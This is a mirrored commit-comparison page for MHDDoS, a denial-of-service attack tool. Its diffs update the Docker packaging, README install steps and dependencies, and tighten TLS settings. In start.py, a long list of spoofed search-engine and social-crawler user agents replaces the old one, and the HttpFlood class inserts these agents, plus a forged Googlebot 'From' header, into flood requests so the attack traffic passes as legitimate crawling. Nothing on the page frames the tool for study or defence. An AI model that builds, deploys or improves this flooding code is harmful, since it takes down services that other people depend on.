mirror of https://github.com/MatrixTM/MHDDoS.git
Compare commits
21 Commits
03b172c660
...
3fbd7ab246
| Author | SHA1 | Date |
|---|---|---|
|
|
3fbd7ab246 | |
|
|
a0ddf3a62d | |
|
|
47ddea7877 | |
|
|
18ff6dc557 | |
|
|
8dc44b700f | |
|
|
143450a68b | |
|
|
3dff7cd5e1 | |
|
|
db0950e91d | |
|
|
56524b922d | |
|
|
ab377bf244 | |
|
|
92a7e3fcb0 | |
|
|
a5e8bc0db2 | |
|
|
8cacc707b6 | |
|
|
af13b76563 | |
|
|
364c3a2e5a | |
|
|
2b248c7e87 | |
|
|
d9a0673d9f | |
|
|
076c59d453 | |
|
|
ccb23d0686 | |
|
|
bd788aa6e8 | |
|
|
5a85e9cb50 |
21
Dockerfile
21
Dockerfile
|
|
@ -1,9 +1,20 @@
|
|||
FROM python:3.8.12-buster
|
||||
# much smaller image than debian based python images
|
||||
FROM python:3.12-slim
|
||||
|
||||
LABEL maintainer="0xkatana"
|
||||
|
||||
WORKDIR /app
|
||||
COPY ./ ./
|
||||
COPY files files
|
||||
|
||||
RUN pip3 install -r requirements.txt
|
||||
# Install git
|
||||
RUN apt-get update && apt-get install -y git && apt-get clean
|
||||
|
||||
ENTRYPOINT ["python3", "/app/start.py"]
|
||||
# copy requirements.txt for better caching
|
||||
COPY requirements.txt .
|
||||
|
||||
# Install py dependencies (may migrate to uv later)
|
||||
RUN pip install --no-cache-dir -r requirements.txt
|
||||
|
||||
# Copy all code at once instead of copy code then files
|
||||
COPY . .
|
||||
|
||||
ENTRYPOINT ["python", "start.py"]
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
12
README.md
12
README.md
|
|
@ -138,6 +138,18 @@ pip install -r requirements.txt
|
|||
apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
**Docker**
|
||||
|
||||
```shell script
|
||||
git clone https://github.com/MatrixTM/MHDDoS.git
|
||||
cd MHDDoS
|
||||
docker compose build
|
||||
# you can use the built image directly by uncommenting one line in the dockercompose
|
||||
docker compose run -it --entrypoint /bin/bash mhddos
|
||||
|
||||
```
|
||||
|
||||
|
||||
[python3]: https://python.org 'Python3'
|
||||
[github issues]: https://github.com/MatrixTM/MHDDoS/issues 'enter'
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,14 @@
|
|||
version: "3.9"
|
||||
|
||||
services:
|
||||
mhddos:
|
||||
# image: ghcr.io/mhprodev/mhddos:latest
|
||||
build: .
|
||||
container_name: mhddos
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ./config.json:/app/config.json
|
||||
- ./files:/app/files
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,10 +1,10 @@
|
|||
cloudscraper==1.2.71
|
||||
certifi==2022.12.7
|
||||
dnspython==2.2.1
|
||||
requests==2.27.1
|
||||
certifi==2024.7.4
|
||||
dnspython==2.6.1
|
||||
requests==2.32.4
|
||||
impacket==0.10.0
|
||||
psutil>=5.9.3
|
||||
icmplib>=2.1.1
|
||||
pyasn1==0.4.8
|
||||
pyroxy @ git+https://github.com/MatrixTM/PyRoxy.git
|
||||
yarl>=1.7.2
|
||||
yarl>=1.7.2
|
||||
87
start.py
87
start.py
|
|
@ -15,6 +15,7 @@ from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, S
|
|||
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
|
||||
gethostname, socket)
|
||||
from ssl import CERT_NONE, SSLContext, create_default_context
|
||||
import ssl
|
||||
from struct import pack as data_pack
|
||||
from subprocess import run, PIPE
|
||||
from sys import argv
|
||||
|
|
@ -44,6 +45,14 @@ logger.setLevel("INFO")
|
|||
ctx: SSLContext = create_default_context(cafile=where())
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = CERT_NONE
|
||||
# Enforce only TLSv1.2+ (defense-in-depth: also disable older protocols explicitly)
|
||||
if hasattr(ctx, "minimum_version") and hasattr(ssl, "TLSVersion"):
|
||||
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
|
||||
# Disable insecure TLS versions for additional safety
|
||||
if hasattr(ssl, "OP_NO_TLSv1"):
|
||||
ctx.options |= ssl.OP_NO_TLSv1
|
||||
if hasattr(ssl, "OP_NO_TLSv1_1"):
|
||||
ctx.options |= ssl.OP_NO_TLSv1_1
|
||||
|
||||
__version__: str = "2.4 SNAPSHOT"
|
||||
__dir__: Path = Path(__file__).parent
|
||||
|
|
@ -134,13 +143,73 @@ class Methods:
|
|||
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
|
||||
|
||||
|
||||
google_agents = [
|
||||
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
|
||||
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
|
||||
"+http://www.google.com/bot.html)) "
|
||||
"Googlebot/2.1 (+http://www.google.com/bot.html)",
|
||||
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
|
||||
search_engine_agents = [
|
||||
# ---------------- Google ----------------
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
|
||||
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; "
|
||||
"+http://www.google.com/bot.html) Chrome/103.0.5060.134 Safari/537.36",
|
||||
"Googlebot-Image/1.0",
|
||||
"Googlebot-Video/1.0",
|
||||
"Googlebot-News",
|
||||
"AdsBot-Google (+http://www.google.com/adsbot.html)",
|
||||
"AdsBot-Google-Mobile-Apps",
|
||||
"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)",
|
||||
"Mediapartners-Google",
|
||||
"FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)",
|
||||
|
||||
# ---------------- Bing / Microsoft ----------------
|
||||
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
|
||||
"BingPreview/1.0b",
|
||||
"AdIdxBot/2.0 (+http://www.bing.com/bingbot.htm)",
|
||||
|
||||
# ---------------- Yahoo ----------------
|
||||
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
|
||||
"Yahoo! Slurp China",
|
||||
|
||||
# ---------------- Yandex ----------------
|
||||
"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
|
||||
"YandexMobileBot/3.0 (+http://yandex.com/bots)",
|
||||
"YandexImages/3.0 (+http://yandex.com/bots)",
|
||||
"YandexVideo/3.0 (+http://yandex.com/bots)",
|
||||
"YandexNews/3.0 (+http://yandex.com/bots)",
|
||||
|
||||
# ---------------- Baidu ----------------
|
||||
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
|
||||
"Baiduspider-image (+http://www.baidu.com/search/spider.html)",
|
||||
"Baiduspider-video (+http://www.baidu.com/search/spider.html)",
|
||||
|
||||
# ---------------- DuckDuckGo ----------------
|
||||
"DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)",
|
||||
"DuckDuckBot/2.0; (+http://duckduckgo.com/duckduckbot.html)",
|
||||
|
||||
# ---------------- Applebot ----------------
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
|
||||
"(KHTML, like Gecko) Version/14.0 Safari/605.1.15 (Applebot/0.1; "
|
||||
"+http://www.apple.com/go/applebot)",
|
||||
|
||||
# ---------------- Facebook / Social ----------------
|
||||
"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)",
|
||||
"Facebot/1.0",
|
||||
|
||||
# ---------------- Twitter ----------------
|
||||
"Twitterbot/1.0",
|
||||
|
||||
# ---------------- LinkedIn ----------------
|
||||
"LinkedInBot/1.0 (+https://www.linkedin.com/)",
|
||||
|
||||
# ---------------- Pinterest ----------------
|
||||
"Pinterest/0.2 (+http://www.pinterest.com/bot.html)",
|
||||
|
||||
# ---------------- Other Major Bots ----------------
|
||||
"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
|
||||
"SemrushBot/7~bl (+http://www.semrush.com/bot.html)",
|
||||
"MJ12bot/v1.4.8 (http://mj12bot.com/)",
|
||||
"Sogou web spider/4.0 (+http://www.sogou.com/docs/help/webmasters.htm#07)",
|
||||
"Exabot/3.0 (+http://www.exabot.com/go/robot)",
|
||||
"SeznamBot/3.2 (http://napoveda.seznam.cz/seznambot-intro/)",
|
||||
"CCBot/2.0 (+http://commoncrawl.org/faq/)",
|
||||
"DotBot/1.1 (+http://www.opensiteexplorer.org/dotbot, help@moz.com)"
|
||||
]
|
||||
|
||||
|
||||
|
|
@ -942,14 +1011,14 @@ class HttpFlood(Thread):
|
|||
"Host: %s\r\n" % self._target.raw_authority +
|
||||
"Connection: Keep-Alive\r\n"
|
||||
"Accept: text/plain,text/html,*/*\r\n"
|
||||
"User-Agent: %s\r\n" % randchoice(google_agents) +
|
||||
"User-Agent: %s\r\n" % randchoice(search_engine_agents) +
|
||||
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
|
||||
"GET /sitemap.xml HTTP/1.1\r\n"
|
||||
"Host: %s\r\n" % self._target.raw_authority +
|
||||
"Connection: Keep-Alive\r\n"
|
||||
"Accept: */*\r\n"
|
||||
"From: googlebot(at)googlebot.com\r\n"
|
||||
"User-Agent: %s\r\n" % randchoice(google_agents) +
|
||||
"User-Agent: %s\r\n" % randchoice(search_engine_agents) +
|
||||
"Accept-Encoding: gzip,deflate,br\r\n"
|
||||
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
|
||||
ProxyTools.Random.rand_str(4)) +
|
||||
|
|
|
|||
Loading…
Reference in New Issue